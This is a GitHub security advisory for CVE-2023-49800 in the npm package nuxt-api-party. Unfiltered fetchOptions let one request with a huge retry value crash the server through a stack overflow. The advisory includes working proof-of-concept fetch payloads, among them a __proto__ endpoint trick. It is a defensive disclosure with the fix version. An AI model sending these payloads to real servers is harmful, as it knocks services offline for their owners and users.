GitHub Advisoryadvisory · npm
GHSA-q6hx-3m4p-749h DOS by abusing `fetchOptions.retry`.
HIGH
Official page ↗
- Aliases
- CVE-2023-49800
- Ecosystem
- npm
- Packages
- nuxt-api-party
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400, CWE-787
- Reviewed
- 2023-12-11
Affected packages
• npm nuxt-api-party: < 0.22.1 → fixed in 0.22.1
Description
Summary
`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. `ofetch` is used to send the requests.
The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
Details
`fetchOptions` are obtained directly from the request body. These are then passed directly into `ofetch`
.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
PoC
POC using Node.
```js
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
We can use `__proto__` as a substitute for the endpoint if it is not known.
```js
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
We can build the size of the stack faster by using more complicated URIs
```js
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
Impact
Full DOS, server is unusable during attack. Requires a single request.
Fix
Limit which options can be passed to `ofetch`.
Related
Alias · CVE (1)
- CVE-2023-49800 `nuxt-api-party` is an open source module to proxy API requests. vulnerability